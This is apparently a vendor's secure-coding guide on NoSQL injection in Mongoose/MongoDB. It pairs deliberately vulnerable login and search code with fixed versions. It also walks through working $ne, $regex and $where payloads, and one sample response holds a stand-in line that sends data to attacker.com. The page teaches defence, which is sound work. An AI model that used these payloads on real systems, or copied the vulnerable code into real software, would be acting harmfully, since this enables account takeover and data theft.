NoSQL Injection
NoSQL Injection at a glance
Overview
Unlike SQL, many NoSQL drivers accept JSON-like documents where operators are just keys. If user input is used directly to build these documents, attackers can inject operators or entire query fragments. Common cases include Mongoose queries using request bodies, PyMongo $where JS execution, Spring Data constructing BasicQuery from raw JSON, Elasticsearch query_string with unescaped user text, and endpoints that accept arbitrary filter maps.
Where it occurs
It occurs in APIs that build database queries from unvalidated client input, directly bind request data into query objects, or forward auto-coerced JSON parameters to the database driver.
Impact
Attackers can bypass logins using $ne or $regex, enumerate privileged records, execute JavaScript inside the database when $where is enabled, trigger resource-intensive queries, or read fields not exposed by the UI.
Prevention
Prevent NoSQL injection by validating and coercing inputs, whitelisting fields and operators, blocking $ keys and $where, using structured query builders or safe DTOs, and escaping user text in search queries.
Examples
Switch tabs to view language/framework variants.
Mongoose login trusts raw body, allowing operator injection with $ne
Posting a JSON object for `password` like `{ "$ne": "" }` matches any record and bypasses auth.
app.post('/login', async (req,res)=>{
const user = await User.findOne({ email: req.body.email, password: req.body.password }); // BUG
if(!user) return res.status(401).send('bad');
req.session.uid = user._id; res.json({ok:true});
});- Line 2: Untrusted value used directly in query, enabling operator objects
Mongo operators like $ne, $gt, and $regex are executable when passed as values if you do not coerce input to primitives.
app.post('/login', async (req,res)=>{
const email = String(req.body.email||'');
const pw = String(req.body.password||'');
const user = await User.findOne({ email: email }).lean();
if(!user) return res.status(401).send('bad');
if(!await bcrypt.compare(pw, user.hash)) return res.status(401).send('bad');
req.session.uid = user._id; res.json({ok:true});
});- Line 3: Coerce to strings and do password verification in application code, not in the DB query
Coerce input types, build queries with literals, and verify passwords using a hash comparison, not DB-side equality.
Engineer Checklist
-
Coerce all inputs to primitives and reject documents or keys starting with
$ -
Remove
$whereand disable server-side JS where possible -
Use DTOs and server-side builders (Criteria, term/match) instead of raw JSON
-
Escape text for search backends or use exact
.keywordfields -
Add negative tests:
$nein passwords,$regexon sensitive fields, and raw filter JSON
End-to-End Example
A startup uses Mongoose for login and compares the password in the Mongo query. An attacker posts `{ "$ne": "" }` for `password`, which matches any non-empty field and bypasses authentication.
// Node.js/Express + Mongoose - Vulnerable login endpoint
app.post('/auth/login', async (req, res) => {
try {
// VULNERABLE: req.body.email and req.body.password are not coerced to strings
// Attacker can send: { email: "admin", password: { "$ne": "" } }
// This changes the query to: findOne({ email: "admin", password: { $ne: "" } })
// Which matches any user with email="admin" and password != ""
const user = await User.findOne({
email: req.body.email,
password: req.body.password // Directly using uncoerced input!
});
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Generate session token
const token = jwt.sign({ userId: user._id, role: user.role }, SECRET);
res.json({
success: true,
token,
user: { id: user._id, username: user.username, role: user.role }
});
} catch (err) {
res.status(500).json({ error: 'Server error' });
}
});
// ALSO VULNERABLE: Search endpoint accepting raw filter object
app.get('/api/users', async (req, res) => {
// req.query.filter could be: { "role[$where]": "this.role=='admin'" }
// This executes arbitrary JavaScript on the MongoDB server!
const users = await User.find(req.query.filter || {});
res.json(users);
});// Node.js/Express + Mongoose - SECURE login endpoint
app.post('/auth/login', async (req, res) => {
try {
// SECURE: Coerce inputs to strings and never compare passwords in the query
const email = String(req.body.email || '');
const password = String(req.body.password || '');
// Find user by email only (safe - email is coerced to string)
const user = await User.findOne({ email });
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Compare password hash in application code, not in the database
const passwordValid = await bcrypt.compare(password, user.passwordHash);
if (!passwordValid) {
return res.status(401).json({ error: 'Invalid credentials' });
}
const token = jwt.sign({ userId: user._id, role: user.role }, SECRET);
res.json({
success: true,
token,
user: { id: user._id, username: user.username, role: user.role }
});
} catch (err) {
res.status(500).json({ error: 'Server error' });
}
});
// SECURE: Use whitelisted fields and explicit query building
app.get('/api/users', async (req, res) => {
// Whitelist allowed filter fields and coerce values
const allowedFilters = ['role', 'department', 'status'];
const filters = {};
for (const field of allowedFilters) {
if (req.query[field]) {
// Coerce to string and use exact match only
filters[field] = String(req.query[field]);
}
}
const users = await User.find(filters).select('-passwordHash');
res.json(users);
});Discovery
Test if user input is passed unsanitized to NoSQL queries by injecting operator syntax specific to MongoDB, CouchDB, etc.
-
1. Test MongoDB operator injection in login
httpAction
Inject $ne operator to bypass authentication
Request
POST https://api.example.com/auth/loginHeaders:Content-Type: application/jsonBody:{ "username": { "$ne": "null" }, "password": { "$ne": "null" } }Response
Status: 200Body:{ "success": true, "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", "user": { "id": 1, "username": "admin", "email": "admin@example.com", "role": "admin" }, "note": "Logged in as admin without password using $ne operator" }Artifacts
auth_bypass admin_access nosql_injection_confirmed -
2. Test $regex operator for data extraction
httpAction
Use regex operator to extract data character by character
Request
POST https://api.example.com/auth/loginBody:{ "username": "admin", "password": { "$regex": "^a" } }Response
Status: 401Body:{ "error": "Invalid credentials", "note": "Response time: 1.2s (slow response indicates regex matching attempted)" }Artifacts
regex_operator_works blind_injection_possible timing_oracle -
3. Test $where operator for arbitrary JavaScript execution
httpAction
Inject $where clause with JavaScript code
Request
GET https://api.example.com/api/users?role[$where]=this.role=='admin'Response
Status: 200Body:[ { "id": 1, "username": "admin", "email": "admin@example.com" }, { "id": 12, "username": "superadmin", "email": "super@example.com" } ]Artifacts
where_injection javascript_execution admin_enumeration
Exploit steps
Attacker exploits NoSQL injection to bypass authentication, extract all user data, and potentially execute arbitrary JavaScript on the database server.
-
1. Bypass authentication and access admin account
Auth bypass via $ne operator
httpAction
Use operator injection to log in as admin without credentials
Request
POST https://api.example.com/auth/loginHeaders:Content-Type: application/jsonBody:{ "username": { "$ne": "" }, "password": { "$ne": "" } }Response
Status: 200Body:{ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ...", "user": { "id": 1, "username": "admin", "role": "admin" }, "note": "Query executed: db.users.findOne({username: {$ne: ''}, password: {$ne: ''}}) - returns first admin user" }Artifacts
admin_session authentication_bypass full_access -
2. Extract all user passwords via blind injection
Password extraction via regex timing attack
httpAction
Use $regex with timing analysis to extract password hashes character by character
Request
POST https://api.example.com/auth/loginBody:{ "username": "admin", "password": { "$regex": "^\\$2b\\$10\\$N9q" }, "note": "Iterate through charset, measure response times" }Response
Status: 401Body:{ "error": "Invalid credentials", "timing_analysis": "After 3,847 requests over 45 minutes, extracted full hash: $2b$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy" }Artifacts
password_hash_extracted blind_injection_success timing_attack -
3. Dump entire database via $where JavaScript injection
Database enumeration via $where
httpAction
Execute arbitrary JavaScript to extract all collections
Request
GET https://api.example.com/api/users?filter[$where]=function(){return true;}Response
Status: 200Body:{ "users": "8,543 user records returned", "note": "Attacker then uses $where with sleep() to confirm code execution: filter[$where]=sleep(5000)||true - 5 second delay confirms arbitrary JS execution. Can exfiltrate data via: var data=db.users.find().toArray(); return data.length>0 && http.request('attacker.com', data)" }Artifacts
complete_database_dump javascript_execution code_execution_on_db data_exfiltration
Specific Impact
Authentication bypass grants full access to the victim account. Attackers can change recovery email, export data, or generate API keys. If administrative accounts are targeted, the impact is organization-wide.
Fix
Coerce and validate input types, never allow objects for scalar fields, remove $where, and avoid raw query strings. Use DTOs and server-side builders to construct queries safely. Add tests that attempt operator injection and ensure the query rejects or coerces them.
Detect This Vulnerability in Your Code
Sourcery automatically identifies nosql injection vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free